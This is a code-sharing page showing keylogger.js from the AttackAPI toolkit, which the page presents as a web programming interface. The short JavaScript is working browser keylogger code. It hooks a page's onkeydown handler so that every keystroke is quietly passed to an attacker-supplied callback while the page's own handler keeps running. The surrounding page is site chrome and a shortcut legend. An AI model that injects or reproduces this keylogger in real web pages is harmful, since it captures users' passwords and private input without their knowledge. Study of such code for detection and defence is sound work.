keylogger.js

来自「AttackAPI提供简单而直观的web可编程接口」· JavaScript 代码 · 共 20 行

JS
20
字号
AttackAPI.KeyLogger = {};
AttackAPI.KeyLogger.install = function (callback, target, delay) {
	var target = (target == undefined)?window:target;
	var delay = (delay == undefined)?0:delay;
	
	setTimeout(function () {
		var onkeydown = target.onkeydown;
		target.onkeydown = function (e) {
			var e = (e == undefined)?window.event:e;
			
			callback(e.keyCode?e.keyCode:e.which, e);
			
			if (onkeydown)
				return onkeydown(e);
				
			return true;
		};
	}, delay);
};

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?